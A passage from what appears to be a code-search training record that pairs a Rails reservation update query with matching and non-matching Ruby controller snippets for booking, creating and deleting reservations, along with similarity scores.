"def create\n \treserve_params = params[:reservation]\n @reserve = current_user.reservations.new(:category_id => reserve_params[:category_id], :date_in => reserve_params[:date_in], :date_out => reserve_params[:date_out], :room_id => reserve_params[:room_id])\n reserved = Reservation.is_reserved(reserve_params[:room_id],reserve_params[:date_in],reserve_params[:date_out])\n unless reserved\n respond_to do |format|\n if @reserve.save\n format.html { redirect_to myrooms_path, notice: 'Room has been booked' }\n format.json { render :show, status: :created, location: @reserve }\n else\n format.html { render :new }\n format.json { render json: @reserve.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to myrooms_path, notice: 'The Room is already Booked' }\n end\n end\n end",
"def create\n @space_reservation = SpaceReservation.new(space_reservation_params)\n\n respond_to do |format|\n if @space_reservation.save\n format.html { redirect_to @space_reservation, notice: 'Space reservation was successfully created.' }\n format.json { render :show, status: :created, location: @space_reservation }\n else\n format.html { render :new }\n format.json { render json: @space_reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n\n respond_to do |format|\n if @reservation.save\n format.html { redirect_back_or_default home_url }\n #format.html { redirect_to(@reservation, :notice => 'Reservation was successfully created.') }\n format.xml { render :xml => @reservation, :status => :created, :location => @reservation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @reservation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @reservations = V2::Reservation.order(id: :desc).page(params[:page])\n end",
"def reservation_params\n params.require(:reservation).permit(:user_id, :restaurant_id, :time, :date, :head_count,\n :special_request, :cancel)\n end",
"def reservation_params\n params.require(:reservation).permit(:start_at, :end_at, :usage)\n end",
"def show_reservations\n user = User.find(current_user.id)\n @reservations = user.reservations\n end",
"def reservation_params\n params.require(:reservation).permit(:reserved_on, :book_id, :user_id)\n end",
"def reservation_params\n params.require(:reservation).permit(:passenger_id, :enterprise_id, :amount, :observation)\n end",
"def new\n unless r = params['reservation-times'] || session['reservation-times']\n return select_times_first\n end\n resource_id = r.keys.first\n sll_times = r[resource_id] \n return select_times_first if sll_times.blank?\n\n @reservation = Reservation.new({ \n :start_datetime => Time.parse(sll_times.first), \n :end_datetime => Time.parse(sll_times.last) + 1.hour,\n :resource_id => resource_id\n })\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def reservation_params\n params.require(:reservation).permit(:name, :start, :end, :description,\n :url, :stream_url, :notes)\n end",
"def reservation_params\n params.require(:reservation).permit(:beginning_date, :ending_date, :rate, :host_id, :booking_id)\n end",
"def create\n @reservation = Reservation.new(params[:reservation])\n\n @reservation.assign_attributes(:user_id => current_user.try(:id))\n \n respond_to do |format|\n if @reservation.save\n ReservationMailer.notification(@reservation, @reservation.user).deliver\n format.html { redirect_to reservations_path, notice: 'Reservation was successfully created.' }\n format.json { render json: @reservation, status: :created, location: @reservation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @reservation = Reservation.new\n @outlet = params[:outlet]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reservation }\n end\n end",
"def create\n @reserved = Reserved.new(reserved_params)\n\n respond_to do |format|\n if @reserved.save\n format.html { redirect_to @reserved, notice: 'Reserved was successfully created.' }\n format.json { render :show, status: :created, location: @reserved }\n else\n format.html { render :new }\n format.json { render json: @reserved.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reservation_params\n params.require(:reservation).permit(:user_id, :resource_id, :start_time, :end_time, :resource_id)\n end",
"def make_reservation\n \n node_obj = Nodes.new\n hash_details_of_resources = node_obj.get_details_of_resources\n \n # finds which resources are for reservation\n ids = []\n reservations = []\n reservations = params[:reservations]\n # puts \"Autes einai oi krathseis pou thelw na kanw\"\n # puts reservations\n\n # control for empty request for reservation\n reservation_table = []\n if reservations == nil \n redirect_to :back\n flash[:danger] = \"You must select a timeslot to make a reservation. Please try again\" \n else\n\n #control for up to 8 timeslots reservation \n\n hash_num_limition = Hash.new\n reservations.each do |element|\n hash_num_limition[element.split('/')[0]] = 0 \n end\n\n reservations.each do |element|\n hash_num_limition[element.split('/')[0]] = hash_num_limition[element.split('/')[0]]+1\n end\n\n flag_limit = false\n hash_num_limition.each_value do |value|\n if value>8\n flag_limit = true\n break\n end\n end\n\n if flag_limit == true\n redirect_to :back\n flash[:danger] = \"Please choose at most 8 timeslots for every resource.\" \n else\n #control for forgotten timeslots \n old_timeslot = false\n reservations.each do |reservation|\n if reservation.split('/')[1] <= Time.zone.now.to_s[0...-9]\n old_timeslot = true\n break\n end\n end\n \n if old_timeslot == true\n redirect_to :back\n flash[:danger] = \"Please select a time from now on\" \n else\n\n \n # Checks if there is two different dates of reservations (case of 24hours schedule) and keeps the shorter\n reservation_date_num = 0\n reservation_date = \"\"\n reservations.each do |reservation|\n date = reservation.split('/')[1][0...-6]\n if date != reservation_date\n if date < reservation_date && reservation_date != \"\"\n reservation_date = date\n reservation_date_num +=1\n elsif reservation_date == \"\"\n reservation_date = date\n reservation_date_num +=1\n end\n \n end\n end\n\n reservations.each do |reservation|\n if !ids.include?(reservation.split('/')[0])\n ids << reservation.split('/')[0]\n end\n end\n\n puts \"reservation_date_num\"\n puts reservation_date_num\n\n # constructs a table with the reservations. 1 for selected timeslot and 0 for non-selected\n if reservation_date_num >= 2 || reservation_date == Time.zone.today.to_s\n\n today = Time.zone.today.to_s\n tomorrow = (Time.zone.today + 1.day).to_s\n time_now = Time.zone.now.to_s.split(\" \")[1][0...-3]\n\n #Upologismos gia sthles\n columns = Array.new(48)\n columns[0]= \"Name\"\n (0..47).each do |n|\n if (n % 2 == 0) \n columns[n+1] = \"#{n<20 ? \"0#{n / 2}\" : n / 2}:00\"\n else\n columns[n+1] = \"#{n<20 ? \"0#{n / 2}\" : n / 2}:30\"\n end\n end\n\n today_and_tommorow_columns = []\n today_and_tommorow_columns << \"Name\"\n\n columns.each do |element|\n if element > time_now && element != \"Name\"\n today_and_tommorow_columns << today + \" \" + element \n end\n end\n\n columns.each do |element|\n if element <= time_now && element != \"Name\" \n today_and_tommorow_columns << tomorrow + \" \" + element\n end\n end\n\n #Upologismos gia rows\n rows = Array.new(ids.length){Array.new(49,0)}\n rows.each_index do |i|\n rows[i][0] = ids[i]\n end\n\n reservation_table = rows.map{|r| Hash[ *today_and_tommorow_columns.zip(r).flatten ] }\n else\n ids.each_index do |i|\n h = Hash.new\n r_name = ids[i]\n h[\"Name\"] = r_name\n (0..47).each do |n|\n if (n % 2 == 0) \n h[\"#{reservation_date}#{n<20 ? \" 0#{n / 2}\" : \" #{n / 2}\"}:00\"] = 0\n else\n h[\"#{reservation_date}#{n<20 ? \" 0#{n / 2}\" : \" #{n / 2}\"}:30\"] = 0\n end\n end\n #if the last half hour of a day selected, we reserve a node until \"23:59\" \n h[reservation_date + \" 23:59\"] = 0\n reservation_table << h\n end\n end\n #Sumplhrwnw o kathe hash me tis krathseis \n reservation_table.each do |element|\n reservations.each do |reservation|\n if reservation.split('/')[0] == element[\"Name\"]\n element[reservation.split('/')[1]] =1\n end\n end\n end\n puts ids\n\n \n # array_with_reservations: table filled with hashes of the reservations to be done \n array_with_reservations = []\n num = 0\n #Compute valid_from and valid_until for each reservation request \n valid_from = \"\"\n valid_until = \"\"\n puts \"Auto einai to reservation table afou to gemisw\"\n puts reservation_table.inspect\n reservation_table.each do |element|\n element.each do |key,value|\n #puts key\n #puts value\n if num ==0\n if value ==1\n #puts \"mpika \"\n valid_from = key\n #puts valid_from\n num += 1\n end\n else \n if value ==0\n valid_until = key\n #stelnw krathsh \n #element[\"Name\"]\n\n valid_from = valid_from + \":00 \" #+ Time.zone.now.to_s.split(' ')[2]\n valid_from = Time.zone.parse(valid_from)\n valid_until = valid_until + \":00 \" #+ Time.zone.now.to_s.split(' ')[2]\n valid_until = Time.zone.parse(valid_until)\n #reserveNode(node_list_uuids[element[\"Name\"]],params[:user_slice],valid_from,valid_until)\n \n h = Hash.new\n h = {\"valid_from\" => valid_from, \"valid_until\"=> valid_until, \"resources\"=> [hash_details_of_resources[element[\"Name\"]][\"uuid\"]] }\n if array_with_reservations.length == 0\n array_with_reservations << h\n else\n flag = 0\n array_with_reservations.each do |reservation|\n if reservation[\"valid_from\"] == valid_from && reservation[\"valid_until\"] == valid_until && !reservation[\"resources\"].include?(hash_details_of_resources[element[\"Name\"]][\"uuid\"])\n reservation[\"resources\"] << hash_details_of_resources[element[\"Name\"]][\"uuid\"]\n flag =1\n break \n end\n end\n if flag == 0\n array_with_reservations << h\n end\n end\n puts \"Tha kanw krathsh me valid_from\"\n puts valid_from\n puts \"kai valid_until\"\n puts valid_until\n # puts \"Gia ton \"+element[\"Name\"] + \"me uuid=\" + @node_list_uuids[element[\"Name\"]]\n num = 0\n end\n end\n end\n end\n puts \"\"\n puts \"Auto einai to array me ta reservation pou prepei na ginoun\"\n puts array_with_reservations\n\n # Making reservations\n results_of_reservations = []\n array_with_reservations.each do |reservation|\n results_of_reservations << reserveNode(reservation[\"resources\"],params[:user_slice],reservation[\"valid_from\"],reservation[\"valid_until\"])\n end\n \n flash_msg = []\n results_of_reservations.each do |result|\n if !result.to_s.include?(\"OK\") \n flash_msg << result.to_s \n end\n end \n if flash_msg.length !=0\n flash[:danger] = flash_msg\n else\n flash[:success] = \"Successful reservation!\"\n end\n redirect_to :back \n end\n\n end\n\n \n end \n end"
] |
[
"0.719537",
"0.71615386",
"0.71431714",
"0.71431714",
"0.7130943",
"0.7123144",
"0.7020095",
"0.6983413",
"0.69494253",
"0.6922912",
"0.6906279",
"0.6906279",
"0.68949294",
"0.68930775",
"0.68813384",
"0.68267894",
"0.680376",
"0.6786492",
"0.6770697",
"0.6745307",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.6724186",
"0.67003334",
"0.66393363",
"0.66373044",
"0.663462",
"0.65956914",
"0.65956914",
"0.65785986",
"0.6577954",
"0.6576728",
"0.6552932",
"0.6528571",
"0.65274626",
"0.6508525",
"0.649807",
"0.6480933",
"0.6477005",
"0.64664584",
"0.6465682",
"0.6465682",
"0.6465682",
"0.6463593",
"0.64626384",
"0.645702",
"0.645386",
"0.6446432",
"0.6440164",
"0.643775",
"0.642031",
"0.6419134",
"0.6412188",
"0.64030594",
"0.6399691",
"0.63983345",
"0.6396404",
"0.63910913",
"0.63882583",
"0.63875705",
"0.6386689",
"0.6385739",
"0.6375018",
"0.63693273",
"0.6358387",
"0.6347417",
"0.63253057",
"0.6323406",
"0.6311516",
"0.6304701",
"0.63016695",
"0.62960124",
"0.6294429",
"0.6291838",
"0.62898266",
"0.62516797",
"0.62515575",
"0.6249649",
"0.6239163",
"0.62386435",
"0.6235167",
"0.62264866",
"0.62239546",
"0.6215581",
"0.6210186",
"0.619897",
"0.6196185",
"0.6194997"
] |
0.7095066
|
6
|
PUT /reservations/1 PUT /reservations/1.json
|
def update
@reservation = Reservation.find(params[:id])
respond_to do |format|
if @reservation.update_attributes(reservation_params)
format.html { redirect_to reservations_path, notice: 'Reservation was successfully updated.' }
format.json { head :no_content }
format.js
else
format.html { render action: "edit" }
format.json { render json: @reservation.errors, status: :unprocessable_entity }
format.js
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n if @reservation.update(reservation_params)\n render json: @reservation\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservations\n @reservation = Reservation.find(params[:id])\n end",
"def update\n if @reservation.update(reservation_add_params)\n render :json => @reservation, status: :ok\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def update\n puts @reservation.inspect\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @reservation.update(reservation_params)\n render :show, status: :ok, location: @reservation\n else\n render json: @reservation.errors, status: :unprocessable_entity\n end\n end",
"def create\n reservation = Reservation.new(reserve_params)\n respond_to do |format|\n if reservation.update(reserve_params)\n format.html { render :show,:locals => {:reservation => reservation}, notice: 'Reservation was successfully created.' }\n format.json { render :show,:locals => {:reservation => reservation}, status: :ok, location: reservation }\n else\n format.html { render :edit,:locals => {:reservation => reservation} }\n format.json { render json: reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reservation = Reservation.find(params[\"id\"])\n @reservation.update(reservation_params)\n redirect_to reservations_path\n end",
"def update\n @reservation = current_user.reservations.find(params[:id])\n\n respond_to do |format|\n if @reservation.update_attributes(params[:reservation])\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\r\n @reservation = Reservation.find(params[:id])\r\n end",
"def set_reservation\r\n @reservation = Reservation.find(params[:id])\r\n end",
"def set_reservation\r\n @reservation = Reservation.find(params[:id])\r\n end",
"def update\n @reservation = Reservation.find(params[:id])\n @reservation.user_id = current_user.id\n\n respond_to do |format|\n if @reservation.update_attributes(params[:reservation])\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to venue_reservation_url, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :created, location: @reservation }\n else\n format.html { render :new }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: \"Reservation was successfully updated.\" }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to apartment_reservations_path(@apartment), notice: 'Reserva Actualizada.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reservation = Reservation.find(params[:id])\n respond_to do |format|\n if request.format == :json\n @reservation.update_attributes(:start_time => params[:event][:start_time], :end_time => params[:event][:end_time])\n elsif @reservation.update_attributes(params[:reservation])\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation, :formats => [:html] }\n else\n format.html { render :edit }\n #format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_reservation\n @reservation = Reservation.find_by(id: params[:id])\n end",
"def update\n reservation = Reservation.find(params[:id])\n respond_to do |format|\n if reservation.update(car_params)\n format.html { render :show,:locals => {:reservation => reservation}, notice: 'Reservation was successfully created.' }\n format.json { render :show,:locals => {:reservation => reservation}, status: :ok, location: reservation }\n else\n format.html { render :edit,:locals => {:reservation => reservation} }\n format.json { render json: reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_reservation\n @reservation = Reservation.find(params[:reservation_id])\n end",
"def set_reservation\n @reservation = Reservation.find(params[:reservation_id])\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @reservation.update(reservation_params)\r\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @reservation }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\r\n respond_to do |format|\r\n if @reservation.update(reservation_params)\r\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @reservation }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to university_library_reservations_path, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation, :flash => {:success => 'Reservation was successfully updated.'} } \n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_reservation\n @apartment = Apartment.find(params[:apartment_id])\n @reservation = Reservation.find(params[:id]) if params[:id]\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to request.referer, notice: 'Reservation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render 'edit' }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reservation = Reservation.find(params[:id])\n respond_to do |format| \n if @reservation.update_attributes(params[:reservation])\n format.html { redirect_to @reservation, notice: 'Reservation was successfully updated.' }\n format.json { head :no_content }\n else \n format.js {render 'new'}\n format.html { render action: \"edit\" }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reserf.update(reserve_params)\n format.html { redirect_to @reserf, notice: 'Reserve was successfully updated.' }\n format.json { render :show, status: :ok, location: @reserf }\n else\n format.html { render :edit }\n format.json { render json: @reserf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n if @reservation.update_attributes(params[:reservation])\n format.html { redirect_to(@reservation, :notice => 'Reservation was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @reservation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @reservation.update(reservation_params)\n format.html { redirect_to @reservation.session, notice: 'Reservation was successfully updated.' }\n format.json { render :show, status: :ok, location: @reservation }\n else\n format.html { render :edit }\n format.json { render json: @reservation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_reservation\n @reservation = Reservation.friendly.find(params[:id])\n end",
"def index\n render json: reservations\n end"
] |
[
"0.70311517",
"0.701632",
"0.701632",
"0.6893391",
"0.66863275",
"0.6680652",
"0.667247",
"0.6656188",
"0.66545707",
"0.6612647",
"0.6612647",
"0.6612647",
"0.6612647",
"0.6612647",
"0.6612647",
"0.6612647",
"0.6612647",
"0.6612647",
"0.6612647",
"0.6552662",
"0.6552662",
"0.6552662",
"0.6546121",
"0.6544926",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6538761",
"0.6517349",
"0.65001494",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.649883",
"0.64671713",
"0.6462489",
"0.64615333",
"0.64559835",
"0.6445084",
"0.6438218",
"0.6438218",
"0.642985",
"0.6424796",
"0.6424796",
"0.64108783",
"0.6362819",
"0.63425946",
"0.63381565",
"0.6309973",
"0.63092387",
"0.6309066",
"0.6294992",
"0.6292167",
"0.6280118"
] |
0.0
|
-1
|
DELETE /reservations/1 DELETE /reservations/1.json
|
def destroy
@reservation = Reservation.find(params[:id])
@reservation.destroy
respond_to do |format|
format.html { redirect_to reservations_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n reservation = Reservation.find(params[:id])\n if reservation\n reservation.destroy\n render json: reservation\n else \n render json: [\"Reservation doesnt exist\"], status: 404 \n end \n end",
"def destroy\n @reservation.destroy\n\n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation = current_user.reservations.find(params[:id])\n @reservation.destroy\n\n respond_to do |format|\n format.html { redirect_to reservations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Reservation.find(params[:id]).destroy\n #@reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservation_url(1), notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation = Reservation.find(params[:id])\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reservation.destroy\n respond_to do |format|\n format.html { redirect_to reservations_url, notice: 'Reservation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
